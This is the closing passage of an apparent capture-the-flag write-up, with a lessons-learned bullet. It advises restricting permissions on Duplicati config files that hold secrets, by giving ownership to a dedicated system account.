  • 📂 Take care of permissions on files that contain secrets. On this box, the marcus user (and maybe even www-data? I forgot to check ) had access to the config files of Duplicati. This is a big problem, as it essentially extends trust of the whole Duplicati system onto the users who can access the configs. A much better solution would have been to create the configs, a system account for Duplicati, then change permissions and ownership of the configs so only the Duplicati system account can run the Duplicati container and read the configs.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake